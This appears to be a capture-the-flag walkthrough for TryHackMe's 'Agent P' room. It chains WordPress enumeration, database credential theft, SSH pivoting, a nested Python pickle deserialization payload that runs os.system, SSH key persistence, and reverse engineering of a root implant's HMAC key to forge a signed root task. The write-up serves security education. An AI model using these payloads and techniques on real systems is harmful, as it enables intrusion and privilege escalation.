TryHackMe - Overflow The Jackpot CTF - Agent P
TryHackMe – Agent P: Full Boot2Root Walkthrough
Introduction
Agent P is a Hard-difficulty Boot2Root room that combines several different areas of offensive security: WordPress enumeration, web exploitation, credential discovery, Linux privilege escalation, Python deserialization, reverse engineering and cryptographic protocol analysis.
What makes this machine particularly interesting is that obtaining root is not the only objective. The machine is already compromised by an internal Evil Inc infrastructure, including a root-owned implant. The final stage therefore requires us to understand how that implant communicates and ultimately take control of the mechanism that is already running with root privileges.
The overall attack path is:
WordPress
│
├── heinz
│
└── WordPress foothold
│
▼
MySQL
│
▼
norm
│
▼
Evil Inc infrastructure
│
▼
vanessa
│
▼
Python pickle abuse
│
▼
Root implant analysis
│
▼
HMAC recovery
│
▼
Forged signed task
│
▼
root
1. Initial WordPress Enumeration
The first thing to identify is what is running on the HTTP service.
The scan shows an Apache server and, more importantly, a WordPress installation.
The relevant information from the enumeration is:
Apache/2.4.58 (Ubuntu)
WordPress 6.9
Theme:
Twenty Twenty-Five 1.5
User:
heinz
The WordPress REST API is also exposed.
One important detail is that the REST API is not located at /wp-json/ on this installation. The working endpoint is:
/index.php/wp-json/
This explains why a request such as:
curl http://10.114.174.192/wp-json/
returns a 404, while:
curl http://10.114.174.192/index.php/wp-json/
returns the WordPress API document.
The API exposes the available namespaces and routes:
curl -sS "http://$IP/index.php/wp-json/" | jq '.routes | keys[]'
To narrow the results down to interesting WordPress resources:
curl -sS "http://$IP/index.php/wp-json/" |
jq -r '.routes | keys[]' |
grep -E '/wp/v2/(users|posts|pages|media|batch)'
This gives us endpoints for users, posts, pages and media.
Interestingly, /wp/v2/batch is not present:
curl -sS "http://$IP/index.php/wp-json/" |
jq '.routes["/wp/v2/batch"]'
Output:
null
So there is no reason to continue investigating the batch endpoint.
2. Enumerating WordPress Users
The users endpoint is particularly interesting because it can disclose usernames without authentication.
curl -sS \
"http://$IP/index.php/wp-json/wp/v2/users/" | jq
The response identifies:
{
"id": 1,
"name": "heinz",
"slug": "heinz"
}
Therefore we have a valid WordPress username:
heinz
This is useful information, but it does not mean that we can simply log in with that username.
At this point we know:
WordPress user: heinz
but we still need an authentication mechanism or another vulnerability to turn this information into access.
3. Enumerating Posts and Application Content
The REST API also exposes published posts:
curl -sS \
"http://$IP/index.php/wp-json/wp/v2/posts?per_page=100" | jq
The machine contains posts such as:
What's up with genie?
This is where it all started!
The API also reveals metadata such as:
post IDs
authors
publication dates
revisions
comments
media relationships
source URLs
For example, the post objects identify heinz as the author.
This confirms that the REST API is useful for reconnaissance, but the publicly visible posts themselves are not the primary path to the final objective.
4. Initial Foothold
The next step is to exploit the vulnerable WordPress functionality present on the machine.
The supplied solution uses:
python3 wp2shell.py shell http://10.129.128.200 -i
The important concept here is that the WordPress foothold gives us command execution in the web application's context.
Once command execution is available, the investigation changes from web enumeration to operating-system enumeration.
The first goal is not immediately to become root.
Instead, we want to answer:
What credentials and internal services are available from the web application's environment?
5. Inspecting the WordPress Database
The WordPress installation has access to its MySQL database.
We can connect using the database credentials available to the application:
mysql -uwpuser -pwp_WjURfdI wordpress -e 'SHOW TABLES;'
This command does three things:
-u wpuserspecifies the MySQL username.-p...supplies the password.wordpressselects the WordPress database.-eexecutes the supplied SQL statement.
The first query lists the database tables:
SHOW TABLES;
Among the tables we find an interesting custom table:
wp_infra_accounts
That is immediately worth investigating because it does not look like a standard WordPress table.
We can query it with:
mysql -uwpuser -pwp_WjURfdI wordpress \
-e 'SELECT * FROM wp_infra_accounts;'
The table contains:
host_user host_pass note
norm N0rm_th3_r0b0t_2026 ssh sync target for the -inator newsletter cron
This gives us a completely new credential set:
username: norm
password: N0rm_th3_r0b0t_2026
This is the transition from the web application to the internal Linux environment.
6. SSH as norm
We can now attempt SSH authentication:
ssh norm@10.129.128.200
Once authenticated, the first thing to establish is exactly who we are:
id
We can also check whether the other interesting account exists:
getent passwd norm vanessa
This confirms that both accounts exist on the system.
At this point, we have achieved the second stage of the room:
WordPress
↓
database credentials
↓
norm
7. Enumerating the Internal System
Now we move into standard post-exploitation enumeration.
The supplied walkthrough uses:
ps auxww
to inspect running processes.
The ww options are useful because they prevent command lines from being unnecessarily truncated.
Next:
ss -lntup
This enumerates listening TCP/UDP sockets and helps identify local or network-facing services.
We also inspect the important filesystem locations:
ls -la /home /opt
And finally, we check for SUID binaries:
find / -xdev -perm -4000 -type f 2>/dev/null
and Linux capabilities:
getcap -r / 2>/dev/null
The interesting discoveries are:
/home/norm
/home/vanessa
/opt/evilinc/implant
127.0.0.1:8700
/run/evilinc/tasking.sock
This is the point where the challenge starts to reveal its real theme.
There is an entire Evil Inc infrastructure running locally.
8. Inspecting the Evil Inc Services
The running services are controlled by systemd.
We can inspect their service definitions:
cat /etc/systemd/system/evilinc-implant.service
cat /etc/systemd/system/evilinc-c2.service
cat /etc/systemd/system/evilinc-heartbeat.service
cat /etc/systemd/system/evilinc-panel.service
The most important entries are the following.
The panel runs as vanessa:
User=vanessa
Group=vanessa
WorkingDirectory=/var/www/evilinc-panel
Environment=EIC_PANEL_CONF=/etc/evilinc/panel.conf
ExecStart=/usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app
The C2 tasking server runs with root privileges:
Group=root
WorkingDirectory=/opt/evilinc/c2
ExecStart=/usr/bin/python3 /opt/evilinc/c2/tasking_server.py
And the implant itself runs as root:
User=root
ExecStart=/opt/evilinc/implant
This is a major finding.
We now know that:
127.0.0.1:8700
is a local Evil Inc panel, while:
/opt/evilinc/implant
is a root-owned executable.
9. Discovering the Panel Secret
Because norm belongs to the Evil Inc group, we can inspect the panel configuration:
id norm
getent group evilinc
Then:
cat /etc/evilinc/panel.conf
The configuration contains:
operator_secret = b3hind_sch3dul3_th1s_m0nth
This gives us the authentication secret required by the local panel.
The panel is only bound to localhost, so from our attacking machine we cannot directly access it.
We therefore create an SSH tunnel:
ssh -L 8700:localhost:8700 norm@10.129.128.200
This maps:
attacker:8700
↓
SSH tunnel
↓
target:127.0.0.1:8700
We can then communicate with the panel through the tunnel.
10. Inspecting the Panel API
The panel responds to HTTP requests:
curl -s http://127.0.0.1:8700
More interestingly, it exposes a blueprint export endpoint:
curl -s http://127.0.0.1:8700/api/blueprints/export
The endpoint returns a Base64-encoded pickle object.
For example:
gASVRgAAAAAAAAB9lCiMBG5hbWWU...
At this point, it is important not to immediately execute or deserialize unknown pickle data.
Instead, we can inspect it safely.
11. Safely Inspecting the Pickle
The payload is Base64 encoded, so we first decode it.
A small Python script can use:
import base64
import pickletools
b64_payload = "..."
pickle_bytes = base64.b64decode(b64_payload)
pickletools.dis(pickle_bytes)
The important part is:
pickletools.dis(pickle_bytes)
pickletools allows us to disassemble the pickle bytecode without performing the normal object reconstruction that makes untrusted pickle data dangerous.
The exported object turns out to represent a normal blueprint:
{
"name": "Monthly Digest",
"sections": ["intro", "schemes", "outro"]
}
So the application is deliberately handling serialized Python objects.
That makes the import functionality particularly interesting.
12. Authenticating to the Panel
The panel login endpoint accepts the secret as form data:
curl -sS -i \
-c panel.cookies \
-X POST http://127.0.0.1:8700/api/login \
-d 'secret=b3hind_sch3dul3_th1s_m0nth'
The -c panel.cookies option tells curl to save the received cookies.
The server responds with an authentication cookie.
We can then reuse that cookie when interacting with the import endpoint:
curl -sS \
-b panel.cookies \
-X POST http://127.0.0.1:8700/api/blueprints/import \
--data-urlencode 'blueprint=...'
The exported sample can be imported successfully.
This confirms that we understand the panel's expected input format.
13. Escaping the Restricted Pickle Loader
The interesting security boundary is that the application does not simply perform unrestricted pickle deserialization.
The challenge therefore becomes:
Can a nested pickle object escape the restricted loader?
The supplied solution constructs two pickle objects.
The inner object defines:
class Inner:
def __reduce__(self):
return os.system, (command,)
The __reduce__() method controls how Python reconstructs the object.
The outer object then contains the serialized inner pickle:
class Outer:
def __reduce__(self):
return pickle.loads, (inner_blob,)
Conceptually:
Outer pickle
│
▼
pickle.loads(inner_blob)
│
▼
Inner pickle
│
▼
os.system(command)
The payload generator is:
#!/usr/bin/env python3
import base64
import os
import pickle
import sys
command = sys.argv[1]
class Inner:
def __reduce__(self):
return os.system, (command,)
inner_blob = pickle.dumps(Inner(), protocol=4)
class Outer:
def __reduce__(self):
return pickle.loads, (inner_blob,)
print(base64.b64encode(
pickle.dumps(Outer(), protocol=4)
).decode())
Before doing anything destructive, the walkthrough uses a harmless proof-of-execution:
python3 make_payload.py 'id > /tmp/vanessa_id'
The resulting Base64 payload is then submitted to the authenticated import endpoint.
If successful:
cat /tmp/vanessa_id
reveals the identity under which the command executed.
This demonstrates command execution as vanessa.
14. Obtaining SSH Access as vanessa
Once arbitrary commands can be executed as vanessa, the walkthrough establishes persistent SSH access using a newly generated SSH key:
ssh-keygen -t rsa -b 2048 -f ./ctf_key -N ""
The public key is then placed into:
/home/vanessa/.ssh/authorized_keys
with the correct permissions.
We can then connect:
ssh -i ctf_key vanessa@10.129.128.200
At this point the attack chain has reached:
norm
↓
local panel
↓
pickle execution
↓
vanessa
But vanessa is still not root.
15. Reverse Engineering the Root Implant
Now we turn our attention to:
/opt/evilinc/implant
The first basic identification commands are:
file /opt/evilinc/implant
and:
strings -a -t x /opt/evilinc/implant
file identifies the executable format and architecture.
strings extracts printable strings from the binary and can reveal:
socket paths
protocol keywords
error messages
command names
file paths
embedded data
For deeper analysis, the binary can be copied locally:
scp norm@10.129.128.200:/opt/evilinc/implant ./implant
The important discovery is that the implant communicates through:
/run/evilinc/tasking.sock
16. Understanding the Tasking Protocol
The implant repeatedly connects to the Unix socket and polls for tasks.
The observed protocol is:
POLL <last_processed_id>
The server returns newline-separated tasks and terminates the response with:
END
Each task contains five fields:
id|type|command|nonce|signature
The signed portion is:
id|type|command|nonce
The signature itself is an HMAC-SHA256 value.
Most importantly, when the task type is:
exec
the implant eventually executes:
system(command)
This means the implant is effectively a root-level command execution mechanism.
The only major protection is the HMAC verification.
17. Recovering the HMAC Key
The key is not stored directly inside the binary.
Instead, the implant generates key material using a deterministic linear congruential generator.
The initial state is:
0x1A2B3C4D
and each iteration performs:
state = (state * 0x41C64E6D + 0x3039) & 0xffffffff
The generated byte is:
(state >> 16) & 0xff
The resulting 32-byte stream is XORed with an embedded 32-byte blob:
1588c57c026ae5eb9c2d1817af48f709
64efff765e58d112d8f116d70f9941b4
The resulting key material is then used with the machine ID:
implant_key = HMAC_SHA256(key_material, machine_id)
The machine ID in the target is:
ec237b10a5f6e959a3088340f9904b31
The reconstruction can therefore be implemented in Python:
import hashlib
import hmac
machine_id = b"ec237b10a5f6e959a3088340f9904b31"
blob = bytes.fromhex(
"1588c57c026ae5eb9c2d1817af48f709"
"64efff765e58d112d8f116d70f9941b4"
)
state = 0x1A2B3C4D
stream = bytearray()
for _ in range(32):
state = (state * 0x41C64E6D + 0x3039) & 0xffffffff
stream.append((state >> 16) & 0xff)
key_material = bytes(
a ^ b for a, b in zip(blob, stream)
)
implant_key = hmac.new(
key_material,
machine_id,
hashlib.sha256
).digest()
print(implant_key.hex())
The reconstructed key is:
aa3e4980d20530450df2e4807cddc7a66f8391b79df9faaacde58b75bb483319
18. Validating the Reverse Engineering
Before attempting to forge a privileged task, it is important to verify that the reconstructed algorithm is actually correct.
The socket can be queried with:
printf 'POLL 0\n' |
timeout 3 socat - UNIX-CONNECT:/run/evilinc/tasking.sock
One of the legitimate tasks returned by the implant is:
10|sysinfo|uptime|1000|2b33d3bf90540c999ecd917150e514240cc02cef3cd4fece3486790681103718
The signed message is:
10|sysinfo|uptime|1000
We calculate:
message = b"10|sysinfo|uptime|1000"
signature = hmac.new(
implant_key,
message,
hashlib.sha256
).hexdigest()
The calculated signature matches the captured signature exactly:
2b33d3bf90540c999ecd917150e514240cc02cef3cd4fece3486790681103718
This is a critical validation step.
Rather than assuming that the reverse-engineered algorithm is correct, we verify it against a known input/output pair.
19. Discovering Task Submission
The Unix socket has a command interface.
We can probe it:
printf 'HELP\n' |
socat - UNIX-CONNECT:/run/evilinc/tasking.sock
The response:
ERR unknown verb
indicates that HELP is not supported.
Further probing reveals the submission verb:
SUBMIT
Sending it without a complete task produces:
SUBMIT: ERR expected id|type|cmd|nonce|sig
This confirms the expected format:
SUBMIT id|type|command|nonce|signature
At this point we have all the pieces required to construct a legitimate-looking task.
20. Forging a Root Task
The final demonstration uses a high task ID:
999999
The task type is:
exec
and the command is:
cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt
The nonce is:
424242
The signed message therefore becomes:
999999|exec|cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt|424242
The HMAC is calculated using the recovered implant key:
message = f"{task_id}|{task_type}|{command}|{nonce}"
signature = hmac.new(
implant_key,
message.encode(),
hashlib.sha256
).hexdigest()
print(f"SUBMIT {message}|{signature}")
The resulting line is submitted to the tasking socket:
printf '%s\n' \
'SUBMIT 999999|exec|cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt|424242|SIGNATURE' |
socat - UNIX-CONNECT:/run/evilinc/tasking.sock
The server responds:
OK
The root implant will process the task during its next polling cycle.
We can then retrieve the copied flag:
cat /tmp/root.txt
The important point is that we did not exploit a conventional SUID binary or a vulnerable sudo rule.
Instead, we:
discovered a root-owned implant;
reverse engineered its protocol;
reconstructed its HMAC key;
generated a valid signature;
submitted a forged task;
allowed the root implant itself to execute our command.
That is the central idea behind the final stage of Agent P.
21. Final Attack Chain
The complete compromise can be summarized as:
WEB
│
▼
WordPress / heinz
│
▼
WordPress foothold
│
▼
MySQL
│
▼
wp_infra_accounts
│
▼
norm
│
▼
Evil Inc services
│
┌───────┴────────┐
▼ ▼
Local panel Root implant
:8700 tasking.sock
│ │
▼ │
panel secret │
│ │
▼ │
pickle import │
│ │
▼ │
vanessa │
│ │
└───────┬────────┘
▼
Reverse engineer
implant
│
▼
Recover HMAC
│
▼
Forge valid task
│
▼
ROOT
22. Lessons Learned
Agent P demonstrates why a successful compromise does not necessarily end when you obtain an interactive shell.
The initial WordPress foothold is only the beginning.
The most important lessons from the room are:
Enumerate the application deeply
The REST API exposed useful information about the WordPress installation and the heinz account.
Inspect application data
The custom wp_infra_accounts table was more valuable than the standard WordPress tables because it contained credentials for another internal account.
Enumerate locally after obtaining a shell
The important infrastructure was not exposed directly to the attacker. It was only visible after logging in as norm.
Commands such as:
ps auxww
ss -lntup
find / -xdev -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
helped reveal the real architecture.
Treat custom services as attack surfaces
The Evil Inc panel, C2 server, Unix socket and implant were all custom components.
Understanding what these components actually do was more useful than blindly searching for a standard Linux privilege escalation.
Be careful with serialized data
Python pickle is extremely powerful and dangerous when untrusted data reaches a deserialization primitive.
The challenge demonstrates how a restricted loader can still become unsafe when nested serialized data is processed.
Validate reverse engineering
The HMAC reconstruction was not trusted blindly.
A known legitimate task was used to confirm that the recovered key generation algorithm produced the exact expected signature.
Root may already belong to someone else
The final stage of Agent P is particularly interesting because the machine is already compromised.
The goal is not merely:
“How do I become root?”
but:
“Who already has root, how does their tooling work, and can I take control of it?”
That distinction is what makes the final part of the challenge much more interesting than a conventional privilege escalation.
VIDEO :
Comments
Post a Comment